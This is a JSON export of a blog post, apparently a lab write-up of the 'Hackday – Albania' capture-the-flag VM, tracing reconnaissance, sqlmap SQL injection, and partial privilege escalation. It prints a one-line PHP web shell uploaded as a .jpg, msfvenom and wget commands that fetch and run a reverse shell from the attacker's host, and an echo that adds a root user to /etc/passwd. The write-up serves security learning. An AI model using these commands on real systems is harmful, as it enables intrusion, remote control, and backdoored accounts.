{"id":154,"date":"2025-05-06T07:14:20","date_gmt":"2025-05-06T07:14:20","guid":{"rendered":"https:\/\/hackingwithj.com\/?p=154"},"modified":"2025-05-06T07:14:20","modified_gmt":"2025-05-06T07:14:20","slug":"vm-hackday-albania","status":"publish","type":"post","link":"https:\/\/hackingwithj.com\/?p=154","title":{"rendered":"VM: Hackday &#8211; Albania"},"content":{"rendered":"\n<p>As part of my pentesting journey, I\u2019ve been tackling more CTFs to build real-world experience. This time, I dove into <em>Hackingday \u2013 Albania<\/em>, a VM filled with classic misconfigurations, red herrings, and just enough frustration to keep things interesting. While I didn\u2019t get full root (yet), I still came out better than I went in \u2014 and that\u2019s a win.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\ud83d\udd0d Reconnaissance<\/h2>\n\n\n\n<p>As always, I kicked off with a basic <code>nmap<\/code> scan to see what ports were open:<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-b61cb2406643e04ae84f2954efceba68\"><code>$ nmap -sS -A T4 10.0.2.8<\/code><\/pre>\n\n\n\n<p>The scan revealed open <strong>SSH<\/strong> and <strong>HTTP<\/strong> ports. Visiting the website showed an image of Mr. Robot with what appeared to be Albanian text. After translating, it said: <em>\u201cIf it\u2019s ME, I know where to go :)\u201d<\/em> Cryptic, but not actionable. Next, I checked out <code>robots.txt<\/code>. Some disallowed entries returned an image with another translated message: <em>\u201cIs this the wrong direction or am I wasting my time in vain?\u201d<\/em> So far, nothing concrete\u2014time to brute-force.<\/p>\n\n\n\n<p>I launched <strong>DirBuster<\/strong> with the medium wordlist. This uncovered three interesting paths:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>\/js\/<\/code> \u2013 showed the site\u2019s image<\/li>\n\n\n\n<li><code>\/js\/images\/<\/code> \u2013 standard directory with icons<\/li>\n\n\n\n<li><code>\/js\/external\/<\/code> \u2013 contained jQuery, nothing too useful<\/li>\n<\/ul>\n\n\n\n<p>Feeling stuck, I went back to <code>robots.txt<\/code> and decided to analyze the disallowed endpoints more systematically. Using <code>wfuzz<\/code>, I checked for any with unusual response lengths:<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-b267001d9e35bd7676cc0a19b3a7e2d2\"><code>$ wfuzz --script=robots -z list,robots.txt http:\/\/10.0.2.8:8008\/FUZZ<\/code><\/pre>\n\n\n\n<p>One stood out, returning fewer characters. The message was: <em>&#8220;Is there any \/vulnbank\/ in here?&#8221;<\/em> Accessing <code>\/unisxcudkqjydw\/vulnbank\/<\/code> brought me to a login page.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\ud83d\udca5 Exploitation<\/h2>\n\n\n\n<p>Time to poke at it. I threw <strong>sqlmap<\/strong> at the login:<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-60ce2dc38f606696c2c57aabf0ff1c54\"><code>$ sqlmap -u 10.0.2.8:8008\/unisxcudkqjydw\/vulnbank\/client.php\/login.php --data \"username=*&amp;password=admin\"<\/code><\/pre>\n\n\n\n<p><code>sqlmap<\/code> came through: the payload<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"384\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/04\/Schermafbeelding-2025-05-06-085047-1024x384.png\" alt=\"\" class=\"wp-image-170\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/04\/Schermafbeelding-2025-05-06-085047-1024x384.png 1024w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/04\/Schermafbeelding-2025-05-06-085047-300x112.png 300w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/04\/Schermafbeelding-2025-05-06-085047-768x288.png 768w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/04\/Schermafbeelding-2025-05-06-085047.png 1340w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>worked, indicating SQL injection. I was in. The app had a file upload function\u2014perfect for testing a simple LFI:<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-630550a26fe9c0418ff951ede3d5d2ad\"><code>&lt;?php\nsystem($_GET&#91;'cmd']);\n?&gt;<\/code><\/pre>\n\n\n\n<p>The upload only allowed image files, but renaming the <code>.php<\/code> to <code>.jpg<\/code> bypassed the filter. Success. Once uploaded, I confirmed the payload worked by running:<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-8fe2878febc6bb3e544d42ac38f778b5\"><code>\/view_file.php?filename=shell.jpg&amp;cmd=ls%20-al<\/code><\/pre>\n\n\n\n<p>That gave me the contents of the working directory. A few files stood out\u2014most notably <code>config.php<\/code>, which contained DB credentials, but ultimately wasn\u2019t useful.<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-e4630d6b3ad0c67449a786a8c306a506\"><code>http:&#47;&#47;192.168.1.84:8008\/unisxcudkqjydw\/vulnbank\/client\/view_file.php?filename=shell.jpg&amp;cmd=ls%20-al\ntotal 52\ndrwxrwxr-x 4 taviso taviso 4096 Oct 20 12:28 .\ndrwxrwxr-x 3 taviso taviso 4096 Oct 20 12:31 ..\n-rwxr-xr-x 1 taviso taviso   87 Oct 19 08:31 client.php\n-rwxr-xr-x 1 taviso taviso 4137 Oct 20 12:27 config.php\ndrwxr-xr-x 2 taviso taviso 4096 Oct 19 08:15 images\n-rwxr-xr-x 1 taviso taviso  403 May 23  2016 index.php\n-rwxr-xr-x 1 taviso taviso  348 Oct 20 11:58 login.php\n-rwxr-xr-x 1 taviso taviso   81 May 22  2016 logout.php\n-rwxr-xr-x 1 taviso taviso 1198 Oct 20 12:28 ticket.php\ndrwxrwxrwx 2 taviso taviso 4096 Nov 28 01:17 upload\n-rwxr-xr-x 1 taviso taviso  532 Oct 19 08:29 view_file.php\n-rwxr-xr-x 1 taviso taviso 1029 Oct 19 08:29 view_ticket.php<\/code><\/pre>\n\n\n\n<p>To speed things up, I dropped a reverse shell:<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-38a97348d9f053908c5c6cf7591c342e\"><code># On Kali\nmsfvenom -p php\/reverse_php LHOST=10.0.2.5 LPORT=4444 &gt; reverse_shell.php\npython -m http.server\nnc -nlvp 4444\n\n# In browser\n\/view_file.php?filename=shell.jpg&amp;cmd=wget%20-Pupload%2010.0.2.5:8000\/reverse_shell.php<\/code><\/pre>\n\n\n\n<p>Shell gained<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\ud83d\udd13 Privilege Escalation\u2026 (Almost)<\/h2>\n\n\n\n<p>I began by checking for <strong>SUID binaries<\/strong>\u2014nothing promising. Then I scanned for <strong>writable files<\/strong> and noticed <code>\/etc\/passwd<\/code> was writable. <\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"418\" height=\"37\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/04\/Schermafbeelding-2025-05-06-090215.png\" alt=\"\" class=\"wp-image-172\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/04\/Schermafbeelding-2025-05-06-090215.png 418w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/04\/Schermafbeelding-2025-05-06-090215-300x27.png 300w\" sizes=\"auto, (max-width: 418px) 100vw, 418px\" \/><\/figure>\n\n\n\n<p>I added a root user manually:<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-94382cd8b598f19490d01d3de8f279c3\"><code>echo \"batman:$hash:0:0:root:\/root:\/bin\/bash\" &gt;&gt; \/etc\/passwd<\/code><\/pre>\n\n\n\n<p>It worked\u2014I could see the user was added. However, getting it to work with <code>ssh<\/code> turned into a major headache. I tried everything: different shells, tweaking user creation, and even replicating writeups from others. Still, I was locked out with permission errors.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"975\" height=\"735\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/04\/Schermafbeelding-2025-05-06-090538.png\" alt=\"\" class=\"wp-image-173\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/04\/Schermafbeelding-2025-05-06-090538.png 975w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/04\/Schermafbeelding-2025-05-06-090538-300x226.png 300w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/04\/Schermafbeelding-2025-05-06-090538-768x579.png 768w\" sizes=\"auto, (max-width: 975px) 100vw, 975px\" \/><\/figure>\n\n\n\n<p>Eventually, after breaking my reverse shell with a typo and failing to regain stable access, I decided to stop and regroup<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\ud83e\udde0 Lessons Learned<\/h2>\n\n\n\n<p>\u2705 <strong>It\u2019s not always about root.<\/strong> Even without full escalation, I learned a lot. I got sharper with <strong>wfuzz<\/strong>, crafted better payloads, and got hands-on with <strong>SQLi<\/strong> and <strong>LFI<\/strong> exploitation.<\/p>\n\n\n\n<p>\u2705 <strong>Writable <code>\/etc\/passwd<\/code> isn\u2019t always a free win.<\/strong> Adding a user is easy. Logging in as that user? Not always. Shell type, PAM, and even shadow file setups can break it.<\/p>\n\n\n\n<p>\u2705 <strong>Reverse shells are fragile.<\/strong> One typo killed my session. Lesson? Always have backup methods or cron persistence ready in future runs.<\/p>\n\n\n\n<p>\u2705 <strong>Don\u2019t force it.<\/strong> I hit a wall and decided to walk away. Sometimes, you\u2019re better off stepping back and returning with fresh eyes.<\/p>\n\n\n\n<p>I\u2019ll definitely revisit <em>Hackingday \u2013 Albania<\/em> to try again. The fact that I didn\u2019t root it this time is a small bummer \u2014 but I found vulnerabilities, got a shell, and kept building my skills. And hey, that\u2019s what the grind is all about.<\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>As part of my pentesting journey, I\u2019ve been tackling more CTFs to build real-world experience. This time, I dove into Hackingday \u2013 Albania, a VM filled with classic misconfigurations, red herrings, and just enough frustration to keep things interesting. While I didn\u2019t get full root (yet), I still came out better than I went in [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"site-container-style":"default","site-container-layout":"default","site-sidebar-layout":"default","disable-article-header":"default","disable-site-header":"default","disable-site-footer":"default","disable-content-area-spacing":"default","footnotes":""},"categories":[8],"tags":[19,18],"class_list":["post-154","post","type-post","status-publish","format-standard","hentry","category-ctf","tag-lfi","tag-sqlmap"],"_links":{"self":[{"href":"https:\/\/hackingwithj.com\/index.php?rest_route=\/wp\/v2\/posts\/154","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hackingwithj.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hackingwithj.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hackingwithj.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/hackingwithj.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=154"}],"version-history":[{"count":13,"href":"https:\/\/hackingwithj.com\/index.php?rest_route=\/wp\/v2\/posts\/154\/revisions"}],"predecessor-version":[{"id":175,"href":"https:\/\/hackingwithj.com\/index.php?rest_route=\/wp\/v2\/posts\/154\/revisions\/175"}],"wp:attachment":[{"href":"https:\/\/hackingwithj.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=154"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hackingwithj.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=154"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hackingwithj.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=154"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}